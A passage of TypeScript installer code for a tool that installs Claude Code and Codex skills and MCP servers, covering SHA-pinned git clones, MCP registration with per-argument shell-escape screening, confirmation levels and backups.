isAlreadyInstalled(ctx)) {\n    return { ok: true, alreadyInstalled: true, backupId: 'noop-idempotent' }\n  }\n\n  // Strict SHA-pin (ADR 0001 + D-15). Schema regex permits SemVer too, but\n  // this installer enforces the tighter invariant: rev-parse HEAD returns a\n  // SHA, so the authority must be a SHA. SemVer git_ref → preflight-layer error.\n  if (!/^[a-f0-9]{7,40}$/.test(install.git_ref)) {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: {\n        ...err(\n          ctx,\n          '/spec/install/git_ref',\n          `git-clone-with-setup requires a full SHA git_ref (7-40 hex), got '${install.git_ref}' (ADR 0001 reproducibility — SHA is the only stable authority for git_rev-parse HEAD verification)`,\n          'sha-required',\n        ),\n        suggest: `pin git_ref to a 40-hex commit SHA from the upstream repo (e.g. \\`git rev-parse <tag-or-branch>\\` in the source)`,\n      },\n    }\n  }\n\n  // Parse clone target from cmd. Required for D-15 SHA-verify cwd; fail clear\n  // if the manifest cmd shape is unsupported (`git clone <url> <dest>`).\n  const cloneTarget = extractCloneTarget(install.cmd)\n  if (!cloneTarget) {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: {\n        ...err(\n          ctx,\n          '/spec/install/cmd',\n          `git-clone-with-setup cmd does not contain a parseable \\`git clone <url> <dest>\\` invocation; D-15 SHA-verify requires an explicit destination directory`,\n          'git-clone-shape',\n        ),\n        suggest: 'use `git clone [flags] <url> <dest>` with an explicit destination directory',\n      },\n    }\n  }\n\n  // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan:\n  // oldText:'' so backup writes a sentinel; rollback = `rm -rf` cloned dir.\n  const name = ctx.manifest.metadata.name\n  const plan: DiffPlan = {\n    files: [\n      {\n        target: cloneTarget,\n        scope: 'HOME',\n        oldText: '',\n        newText: `// new directory created by: ${install.cmd}\\n// pinned at git_ref ${install.git_ref}\\n`,\n      },\n    ],\n  }\n  if (!ctx.opts.quiet) process.stdout.write(renderDiff(plan, ctx))\n\n  const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n  if (!conf.proceed) {\n    const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n    return { aborted: true, reason }\n  }\n  if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n  const bk = await backup(plan, ctx)\n  if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n  // Run the manifest cmd as-is (rm + git clone + cp + cleanup pipeline).\n  // spawnCmd handles cross-OS shell + B1 re-screen. cmd is single string.\n  // v3.0.2: explicit install timeout (60s — git clone over network can exceed 15s).\n  // v23 (4.5.1) — posixShell: this cmd uses rm/cp/mkdir; route through Git Bash on Windows.\n  const sp = await spawnCmd(ctx, install.cmd, [], DEFAULT_INSTALL_TIMEOUT_MS, { posixShell: true })\n  if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n  if (sp.exitCode !== 0) {\n    return {\n      ok: false,\n      phase: 'spawn',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/install/cmd',\n        `git-clone-with-setup cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n        'install-failed',\n      ),\n    }\n  }\n\n  // D-15 — SHA-verify. `git rev-parse HEAD` in clone target dir; match the\n  // manifest git_ref by prefix (git's standard SHA-prefix semantics — a\n  // 7-hex prefix is a valid name for the full 40-hex commit).\n  const rp = await gitRevParseHead(cloneTarget)\n  if (rp.exit !== 0 || !rp.sha) {\n    return {\n      ok: false,\n      phase: 'verify',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/install/git_ref',\n        `git rev-parse HEAD failed in ${cloneTarget} (exit ${rp.exit}); cannot verify SHA pin '${install.git_ref}'`,\n        'sha-mismatch',\n      ),\n    }\n  }\n  if (!rp.sha.startsWith(install.git_ref)) {\n    return {\n      ok: false,\n      phase: 'verify',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/install/git_ref',\n        `git_ref SHA mismatch: manifest pinned '${install.git_ref}' but HEAD is '${rp.sha}' in ${cloneTarget}`,\n        'sha-mismatch',\n      ),\n    }\n  }\n\n  // verify cmd (e.g. `test -f ~/.claude/skills/<name>/SKILL.md`).\n  // v3.0.2: verify honors spec.verify.timeout_ms (default 15s).\n  const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n  const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs, {\n    posixShell: true,\n  })\n  if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n  const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n  if (vr.exitCode !== expected) {\n    return {\n      ok: false,\n      phase: 'verify',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/verify/cmd',\n        `verify exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n        'verify-failed',\n      ),\n    }\n  }\n\n  await updateInstalled(ctx.cwd, name, install.git_ref, '')\n  return { ok: true, backupId: bk.backupId, appliedFiles: [cloneTarget] }\n}\n","// Phase 2.1 install method 3/6 — mcp-npm × mcp-http-add per ADR 0004 § 5 + ADR 0010 errata.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. Sister\n// mcpStdioAdd.ts v3.0.2 reasoning verbatim — `--scope project` writes\n// `<cwd>/.mcp.json` which EPERMs in read-only CWD (C:\\Windows\\System32);\n// `--scope user` writes `~/.claude.json` user-global, CWD-independent.\n// The pre-v3.0.2 CC #54803 \"user scope broken\" bug has been resolved by the\n// Claude Code team (verified via `claude mcp add --help` 2026-05-21).\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` here cannot be overridden by\n// manifest fields — the manifest cmd string is treated as audit-trail only;\n// we authoritatively reconstruct the args array. Mirrors mcpStdioAdd.\n//\n// IMPL NOTE (Rule 1 / D-16 — env-resolution carve-out): `--header` values may\n// carry `${ENV_VAR}` references that look like shell escapes to B1's\n// checkCmdString. We resolve `${VAR}` from `process.env` BEFORE arg\n// construction, so the post-construction B1 re-screen sees plain values only.\n// Unset env var → InstallError keyword:'env-unset' before we touch the network.\n//\n// IMPL NOTE (Rule 1 / D-15 hot path): schema does NOT carry typed `url` or\n// `headers` fields (the install method schema has only cmd/cwd/env/args/\n// npm_version/idempotent_check). We extract the URL and headers by parsing\n// the manifest `install.cmd` string (already B1-screened by schema validate).\n// This matches the architectural discipline of \"cmd is audit-trail; we\n// reconstruct args authoritatively\". Headers parsing is conservative:\n// `--header \"Key: Value\"` (quoted) or `--header Key:\\ Value` (escaped).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. Same posture as\n// mcpStdioAdd.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): mirrors\n// mcpStdioAdd v3.0.3 — drop spawn-based verify in favor of fs-based check\n// against the authoritative `mcpServers` map.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { isAlreadyInstalled } from './lib/idempotent.js'\nimport { detectPlatform } from './lib/platform.js'\nimport { preflight } from './lib/preflight.js'\nimport { isMcpServerRegistered } from './lib/readClaudeConfig.js'\nimport { runHarnessArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// D-16 — resolve ${ENV_VAR} placeholders from process.env BEFORE arg\n// construction. Returns either the resolved value or throws-style {error}.\n// Result `{ ok: false, missing: string }` lets the caller emit a clear\n// InstallError with keyword:'env-unset' (single-cause failure, no fallback).\nfunction resolveEnvVars(\n  value: string,\n): { ok: true; resolved: string } | { ok: false; missing: string } {\n  const pattern = /\\$\\{([A-Z_][A-Z0-9_]*)\\}/g\n  let resolved = value\n  let match: RegExpExecArray | null\n  pattern.lastIndex = 0\n  // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n  while ((match = pattern.exec(value)) !== null) {\n    const name = match[1]\n    if (name === undefined) continue\n    const v = process.env[name]\n    if (v === undefined || v === '') {\n      return { ok: false, missing: name }\n    }\n    resolved = resolved.replace(match[0], v)\n  }\n  return { ok: true, resolved }\n}\n\n// Parse `--header \"Key: Value\"` (quoted) or `--header Key:Value` tokens out of\n// the manifest cmd. Returns a flat header list ['--header','K: V', ...]\n// suitable for direct `claude mcp add` invocation. ${ENV_VAR} resolved here.\nfunction resolveHeaders(\n  cmd: string,\n): { ok: true; flat: string[] } | { ok: false; missing: string } {\n  const flat: string[] = []\n  // Match: --header \"...\"  OR  --header '...'  OR  --header <non-space-token>\n  const re = /--header\\s+(?:\"([^\"]+)\"|'([^']+)'|(\\S+))/g\n  let m: RegExpExecArray | null\n  // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n  while ((m = re.exec(cmd)) !== null) {\n    const raw: string | undefined = m[1] ?? m[2] ?? m[3]\n    if (raw === undefined || raw.length === 0) continue\n    const res = resolveEnvVars(raw)\n    if (!res.ok) return { ok: false, missing: res.missing }\n    flat.push('--header', res.resolved)\n  }\n  return { ok: true, flat }\n}\n\n// Extract URL from cmd. mcp-http-add cmd shape (CC docs / ADR 0001 / phase 2.1\n// research): `claude mcp add --scope project --transport http <name> <url>\n// [--header \"...\"]...`. We pick the first http(s):// token.\nfunction extractUrl(cmd: string): string | null {\n  const m = cmd.match(/\\bhttps?:\\/\\/\\S+/)\n  return m ? m[0] : null\n}\n\nexport const installMcpHttpAdd: Installer = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'mcp-http-add') {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: err(\n        ctx,\n        '/spec/install/method',\n        `installMcpHttpAdd received non-mcp-http-add method '${install.method}' (dispatch bug)`,\n        'dispatch-mismatch',\n      ),\n    }\n  }\n  const pre = preflight(ctx)\n  if (!pre.ok) {\n    if (pre.abortReason === 'platform-mismatch')\n      return { aborted: true, reason: 'platform-mismatch' }\n    const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n    return { ok: false, phase: 'preflight', error: e }\n  }\n  // v3.9.8 Cat G — sister mcpStdioAdd, pre-probe idempotent_check, always\n  // honor user config (never re-modify regardless of opts.updateInstalled).\n  if (await isAlreadyInstalled(ctx, { honorUpdateFlag: false })) {\n    return { ok: true, alreadyInstalled: true, backupId: 'noop-idempotent' }\n  }\n\n  const name = ctx.manifest.metadata.name\n  const url = extractUrl(install.cmd)\n  if (!url) {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: err(\n        ctx,\n        '/spec/install/cmd',\n        `mcp-http-add cmd missing http(s):// URL token (parsed from install.cmd: '${install.cmd.slice(0, 80)}')`,\n        'http-url-missing',\n      ),\n    }\n  }\n\n  // D-16: resolve --header ${ENV_VAR} BEFORE constructing addArgs. Unset env\n  // var → fail clear, do not silently drop the header (would expose a public\n  // unauth call to a presumed-auth server).\n  const hdr = resolveHeaders(install.cmd)\n  if (!hdr.ok) {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: {\n        ...err(\n          ctx,\n          '/spec/install/cmd',\n          `mcp-http-add --header references unset env var '${hdr.missing}'; set it (export ${hdr.missing}=...) or remove the header from the manifest`,\n          'env-unset',\n        ),\n        suggest: `export ${hdr.missing}=<value> && harnessed install <name>`,\n      },\n    }\n  }\n\n  // v4.14.0 — platform routing (sister mcpStdioAdd). codex http shape is\n  // `codex mcp add <name> --url <url>`; codex CLI has NO --header flag, so a\n  // headered manifest fails loud instead of silently dropping auth headers.\n  const platform = detectPlatform()\n  if (platform.id !== 'claude' && platform.id !== 'codex') {\n    return { aborted: true, reason: 'harness-mismatch' }\n  }\n  const bin = platform.id\n  if (bin === 'codex' && hdr.flat.length > 0) {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: {\n        ...err(\n          ctx,\n          '/spec/install/cmd',\n          `mcp-http-add --header is not supported by the codex CLI (\\`codex mcp add\\` has no --header flag); this server cannot be installed on the codex platform with auth headers`,\n          'harness-unsupported-headers',\n        ),\n        suggest:\n          'install this MCP server on the claude platform, or drop the --header from the manifest if the endpoint is unauthenticated',\n      },\n    }\n  }\n\n  // v3.0.2 hotfix (claude): `--scope user` writes ~/.claude.json (user-global\n  // config, CWD-independent). Pre-v3.0.2 `--scope project` writes <cwd>/.mcp.json\n  // which EPERMs in read-only CWD. Mirrors mcpStdioAdd v3.0.2 scope flip.\n  const addArgs =\n    bin === 'codex'\n      ? ['mcp', 'add', name, '--url', url]\n      : ['mcp', 'add', '--scope', 'user', '--transport', 'http', ...hdr.flat, name, url]\n\n  // H2 defense-in-depth — re-screen each constructed arg. Header values were\n  // env-resolved above, so no ${VAR} pattern reaches this check; URL is a\n  // plain http(s) string.\n  for (const a of addArgs) {\n    const violation = checkCmdString(a)\n    if (violation) {\n      return {\n        ok: false,\n        phase: 'preflight',\n        error: err(\n          ctx,\n          '/spec/install/cmd',\n          `shell escape detected in constructed mcp-http-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n          'security-gate-bypass',\n        ),\n      }\n    }\n  }\n\n  // v3.0.2: diff target is ~/.claude.json (user-global, `--scope user`)\n  // instead of <cwd>/.mcp.json (project-local). Entry shape per CC spec:\n  // { [name]: { type: 'http', url, headers: {Key:Value} } } — non-stdio.\n  // v4.14.0: codex target is ~/.codex/config.toml (url-form [mcp_servers] table).\n  const mcpFile = bin === 'codex' ? platform.mcpConfigPath : `${getMcpSpawnCwd()}/.claude.json`\n  // Reassemble headers as an object for the diff preview (purely informational).\n  const headersObj: Record<string, string> = {}\n  for (let i = 0; i < hdr.flat.length; i += 2) {\n    const kv = hdr.flat[i + 1]\n    if (!kv) continue\n    const ci = kv.indexOf(':')\n    if (ci > 0) headersObj[kv.slice(0, ci).trim()] = kv.slice(ci + 1).trim()\n  }\n  const entry =\n    Object.keys(headersObj).length > 0\n      ? { [name]: { type: 'http', url, headers: headersObj } }\n      : { [name]: { type: 'http', url } }\n  const newEntry = JSON.stringify(entry, null, 2)\n  const mergeNote =\n    bin === 'codex'\n      ? `// will be written as [mcp_servers.${name}] (url form) into ~/.codex/config.toml by \\`codex mcp add\\`:`\n      : '// will be merged into ~/.claude.json mcpServers map by `claude mcp add --scope user`:'\n  const plan: DiffPlan = {\n    files: [\n      {\n        target: mcpFile,\n        scope: 'HOME',\n        oldText: '',\n        newText: `${mergeNote}\\n${newEntry}\\n`,\n      },\n    ],\n  }\n  if (!ctx.opts.quiet) process.stdout.write(renderDiff(plan, ctx))\n\n  const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n  if (!conf.proceed) {\n    const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n    return { aborted: true, reason }\n  }\n  if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n  const bk = await backup(plan, ctx)\n  if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n  // v3.0.2: spawn cwd at homedir() — `--scope user` writes to ~/.claude.json\n  // regardless of spawn cwd, but the CC CLI may create temp files in cwd;\n  // homedir() avoids EPERM when user launches harnessed from a read-only CWD.\n  const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n  const r = await runHarnessArgs(bin, addArgs, spawnCwd)\n  if (r.exitCode !== 0) {\n    // ADR 0004 idempotent contract: server already registered is not a failure.\n    // v3.0.2: match on \"already exists\" substring (CC CLI error message no\n    // longer mentions \".mcp.json\" specifically with --scope user).\n    if (r.stderr.includes('already exists')) {\n      return { ok: true, alreadyInstalled: true, backupId: bk.backupId }\n    }\n    return {\n      ok: false,\n      phase: 'spawn',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/install/cmd',\n        `${bin} mcp add (http) exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n        'install-failed',\n      ),\n    }\n  }\n\n  // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n  // Sister mcpStdioAdd v3.0.3 verify rationale verbatim — cross-platform,\n  // instant, immune to cold-start timeout.\n  const registered = await isMcpServerRegistered(name)\n  if (!registered) {\n    // v4.14.0 — config label follows the platform; claude wording byte-identical.\n    const cfgLabel =\n      bin === 'codex'\n        ? '[mcp_servers] table of ~/.codex/config.toml'\n        : 'mcpServers map of ~/.claude.json'\n    return {\n      ok: false,\n      phase: 'verify',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/verify/cmd',\n        `verify: '${name}' not found in ${cfgLabel} after install spawn exit 0 (file may have been overwritten, or ${bin} mcp add wrote to a non-default location)`,\n        'verify-failed',\n      ),\n    }\n  }\n\n  await updateInstalled(ctx.cwd, name, install.npm_version, '')\n  return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 2/2 — mcp-npm × mcp-stdio-add per ADR 0004 § 5.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. The pre-\n// v3.0.2 `--scope project` writes `<cwd>/.mcp.json`, which fails with EPERM\n// when user runs `harnessed setup` from a read-only CWD (e.g. PowerShell\n// default `C:\\Windows\\System32`). `--scope user` writes `~/.claude.json`\n// user-global config, which is what `harnessed setup` actually wants (MCP\n// servers should be available across all projects after onboarding, not\n// only the current cwd).\n//\n// The pre-v3.0.2 IMPL NOTE referenced CC #54803 \"user scope broken\" — that\n// CC bug has since been resolved by the Claude Code team; `--scope user`\n// now reads back correctly. Verified via `claude mcp add --help` (2026-05-21).\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` here cannot be overridden by\n// manifest fields — the manifest cmd string is treated as audit-trail only;\n// we authoritatively reconstruct the args array.\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): we bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. This catches any\n// future caller (phase 1.4 routing, test harness) that hands us a manifest\n// where metadata.upstream.source / metadata.name / install.npm_version\n// contains shell escapes — the schema-level B1 gate did not screen these\n// non-cmd fields, so the runtime gate must.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): pre-v3.0.3\n// verify spawned `claude mcp list` and string-matched the server name in\n// stdout. User reports on Windows the spawn-based verify still times out 15s\n// after 3 sequential `claude mcp add` calls (warm process pool exhausted),\n// surfacing as `verify exit -1 ... [timeout]`. The underlying `claude mcp add\n// --scope user` did succeed — `~/.claude.json` was written — but the verify\n// spawn could not complete in budget. v3.0.3 reads `~/.claude.json` directly\n// via `fs.readFile` + `JSON.parse` + `mcpServers[name]` check (sister\n// `readClaudeConfig.ts`). Same authority (the file IS the contract; CC reads\n// it on startup), zero spawn, zero timeout risk, cross-platform.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { isAlreadyInstalled } from './lib/idempotent.js'\nimport { detectPlatform } from './lib/platform.js'\nimport { preflight } from './lib/preflight.js'\nimport { isMcpServerRegistered } from './lib/readClaudeConfig.js'\nimport { runHarnessArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\nexport const installMcpStdioAdd: Installer = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'mcp-stdio-add') {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: err(\n        ctx,\n        '/spec/install/method',\n        `installMcpStdioAdd received non-mcp-stdio-add method '${install.method}' (dispatch bug)`,\n        'dispatch-mismatch',\n      ),\n    }\n  }\n  const pre = preflight(ctx)\n  if (!pre.ok) {\n    if (pre.abortReason === 'platform-mismatch')\n      return { aborted: true, reason: 'platform-mismatch' }\n    const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n    return { ok: false, phase: 'preflight', error: e }\n  }\n  // v3.9.8 Cat G — pre-probe idempotent_check (read-only; e.g. `claude mcp list\n  // | grep -q tavily`). MCP installer ALWAYS honors user config — ignores\n  // ctx.opts.updateInstalled so force-update never re-modifies ~/.claude.json\n  // mcpServers (v3.9.6 dogfood concern: avoid overwriting hand-tuned MCP entries).\n  if (await isAlreadyInstalled(ctx, { honorUpdateFlag: false })) {\n    return { ok: true, alreadyInstalled: true, backupId: 'noop-idempotent' }\n  }\n\n  const name = ctx.manifest.metadata.name\n  const pkg = ctx.manifest.metadata.upstream.source\n  const ver = install.npm_version\n  // v4.14.0 — platform routing. claude keeps the v3.0.2 shape verbatim; codex\n  // uses its own CLI (`codex mcp add <name> -- <command...>` — no --scope /\n  // --transport flags, findings.md research). Any OTHER harness id has no MCP\n  // write path → honest 'harness-mismatch' skip, never a claude-CLI side effect.\n  const platform = detectPlatform()\n  if (platform.id !== 'claude' && platform.id !== 'codex') {\n    return { aborted: true, reason: 'harness-mismatch' }\n  }\n  const bin = platform.id\n  // v3.0.2 hotfix (claude): `--scope user` (writes ~/.claude.json user-global\n  // config, CWD-independent) instead of `--scope project` (writes <cwd>/.mcp.json,\n  // EPERM when user CWD is read-only). harnessed setup is an onboarding\n  // command — MCP servers should be available cross-project after install,\n  // not scoped to whatever ephemeral CWD the user launched from.\n  const addArgs =\n    bin === 'codex'\n      ? ['mcp', 'add', name, '--', 'npx', '--yes', `${pkg}@${ver}`]\n      : [\n          'mcp',\n          'add',\n          '--scope',\n          'user',\n          '--transport',\n          'stdio',\n          name,\n          '--',\n          'npx',\n          '--yes',\n          `${pkg}@${ver}`,\n        ]\n\n  // H2 defense-in-depth — re-screen each constructed arg. metadata.name and\n  // metadata.upstream.source pass through B1 only as YAML scalars; never as\n  // shell tokens. Re-check in case a future schema change relaxes those fields.\n  for (const a of addArgs) {\n    const violation = checkCmdString(a)\n    if (violation) {\n      return {\n        ok: false,\n        phase: 'preflight',\n        error: err(\n          ctx,\n          '/spec/install/cmd',\n          `shell escape detected in constructed mcp-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n          'security-gate-bypass',\n        ),\n      }\n    }\n  }\n\n  // v3.0.2: diff target is ~/.claude.json (user-global config) instead of\n  // <cwd>/.mcp.json (project-local config). `--scope user` flag writes to\n  // ~/.claude.json. Simulate entry textually — `claude mcp add --dry-run`\n  // CLI flag is not documented, relying on it would be unstable contract.\n  // v4.14.0: codex target is ~/.codex/config.toml [mcp_servers.<name>] table\n  // (written by `codex mcp add`).\n  const mcpFile = bin === 'codex' ? platform.mcpConfigPath : `${getMcpSpawnCwd()}/.claude.json`\n  const newEntry = JSON.stringify(\n    { [name]: { type: 'stdio', command: 'npx', args: ['--yes', `${pkg}@${ver}`] } },\n    null,\n    2,\n  )\n  const mergeNote =\n    bin === 'codex'\n      ? `// will be written as [mcp_servers.${name}] into ~/.codex/config.toml by \\`codex mcp add\\`:`\n      : '// will be merged into ~/.claude.json mcpServers map by `claude mcp add --scope user`:'\n  const plan: DiffPlan = {\n    files: [\n      {\n        target: mcpFile,\n        scope: 'HOME',\n        oldText: '',\n        newText: `${mergeNote}\\n${newEntry}\\n`,\n      },\n    ],\n  }\n  if (!ctx.opts.quiet) process.stdout.write(renderDiff(plan, ctx))\n\n  const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n  if (!conf.proceed) {\n    const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n    return { aborted: true, reason }\n  }\n  if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n  const bk = await backup(plan, ctx)\n  if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n  // v3.0.2: spawn cwd at homedir() — `--scope user` writes to ~/.claude.json\n  // regardless of spawn cwd, but the CC CLI may create temp files in cwd\n  // during the write; using homedir() avoids EPERM when user launches\n  // harnessed from a read-only CWD (e.g. C:\\Windows\\System32).\n  const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n  const r = await runHarnessArgs(bin, addArgs, spawnCwd)\n  if (r.exitCode !== 0) {\n    // ADR 0004 idempotent contract (v1.0.4): server already registered is\n    // not a failure. The pre-v3.0.2 error string was \"already exists in\n    // .mcp.json\"; with --scope user the CC CLI now reports it as\n    // \"already exists in\" the user-config (~/.claude.json or similar).\n    // Match on the stable \"already exists\" substring.\n    if (r.stderr.includes('already exists')) {\n      return { ok: true, alreadyInstalled: true, backupId: bk.backupId }\n    }\n    return {\n      ok: false,\n      phase: 'spawn',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/install/cmd',\n        `${bin} mcp add exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n        'install-failed',\n      ),\n    }\n  }\n\n  // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n  // `~/.claude.json` is the authoritative file CC reads on startup; `claude\n  // mcp list` is just a pretty-printer over the same data. Reading the file\n  // is cross-platform, instantaneous, and immune to the v3.0.2 cold-start\n  // timeout that surfaced when 3 MCP installers ran sequentially in setup.\n  const registered = await isMcpServerRegistered(name)\n  if (!registered) {\n    // v4.14.0 — config label follows the platform (claude JSON map vs codex\n    // TOML table); claude wording is byte-identical to pre-4.14.0.\n    const cfgLabel =\n      bin === 'codex'\n        ? '[mcp_servers] table of ~/.codex/config.toml'\n        : 'mcpServers map of ~/.claude.json'\n    return {\n      ok: false,\n      phase: 'verify',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/verify/cmd',\n        `verify: '${name}' not found in ${cfgLabel} after install spawn exit 0 (file may have been overwritten, or ${bin} mcp add wrote to a non-default location)`,\n        'verify-failed',\n      ),\n    }\n  }\n\n  await updateInstalled(ctx.cwd, name, ver, '')\n  return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 1/2 — cli-npm × npm-cli per ADR 0004 + ASSUMPTIONS B3.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS B3 候选 1 + H3 sister review fix): when a\n// manifest declares `npm install -g <pkg>` (Level L4) but the user has NOT\n// passed `--system`, do NOT silently flip to npx — that is \"decision masking\"\n// and erodes trust. Present an explicit 3-way `p.select()`: (a) abort and\n// re-run with --system / (b) downgrade to L1 npx ephemeral / (c) abort.\n// Default is (c) — safest action wins on Enter / Ctrl-C / Esc.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; if you find yourself adding\n// fs/spawn/diff logic *here*, lift it to lib/.\n\nimport * as p from '@clack/prompts'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { isAlreadyInstalled } from './lib/idempotent.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult, Level } from './lib/types.js'\n\nfunction detectLevel(cmd: string): Level {\n  if (/\\bnpm\\s+install\\s+-g\\b/.test(cmd)) return 'L4'\n  if (/\\bnpx\\b/.test(cmd)) return 'L1'\n  return 'L4' // safest default: assume worst-case scope\n}\n\nexport const installNpmCli: Installer = async (ctx) => {\n  // Discriminator narrow — index.ts only routes here when method === 'npm-cli'.\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'npm-cli') {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: err(\n        ctx,\n        '/spec/install/method',\n        `installNpmCli received non-npm-cli method '${install.method}' (dispatch bug)`,\n        'dispatch-mismatch',\n      ),\n    }\n  }\n  const pre = preflight(ctx)\n  if (!pre.ok) {\n    if (pre.abortReason === 'platform-mismatch')\n      return { aborted: true, reason: 'platform-mismatch' }\n    const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n    return { ok: false, phase: 'preflight', error: e }\n  }\n  // v3.9.6 — idempotent_check probe (skip install if already-installed).\n  if (await isAlreadyInstalled(ctx)) {\n    return { ok: true, alreadyInstalled: true, backupId: 'noop-idempotent' }\n  }\n  let level = detectLevel(install.cmd)\n  let cmd = install.cmd\n  const plan: DiffPlan = { files: [] }\n  // L1 npx & L4 global both produce \"(no file changes)\" diff — L4 PATH mod is\n  // not previewable as a unified diff; the cmd echo is the audit trail.\n  if (!ctx.opts.quiet) process.stdout.write(renderDiff(plan, ctx))\n  if (level === 'L4')\n    process.stdout.write('  (L4 system install — global PATH change; see cmd above)\\n')\n  const conf = await confirmAt(level, { ...ctx, level })\n  if (!conf.proceed) {\n    if (level === 'L4' && conf.reason === 'flag-missing' && !ctx.opts.nonInteractive) {\n      // H3 three-way prompt (interactive only — non-interactive already short-circuited)\n      const choice = await p.select({\n        message: 'L4 install requires --system. Choose:',\n        options: [\n          { value: 'retry', label: 'Retry with --system flag (re-run command)' },\n          { value: 'npx', label: 'Downgrade to L1 npx ephemeral install (no global)' },\n          { value: 'abort', label: 'Abort install' },\n        ],\n        initialValue: 'abort',\n      })\n      if (p.isCancel(choice) || choice === 'abort') return { aborted: true, reason: 'user-cancel' }\n      if (choice === 'retry') return { aborted: true, reason: 'level-flag-missing' }\n      // 'npx' branch: rebuild cmd + re-confirm at L1\n 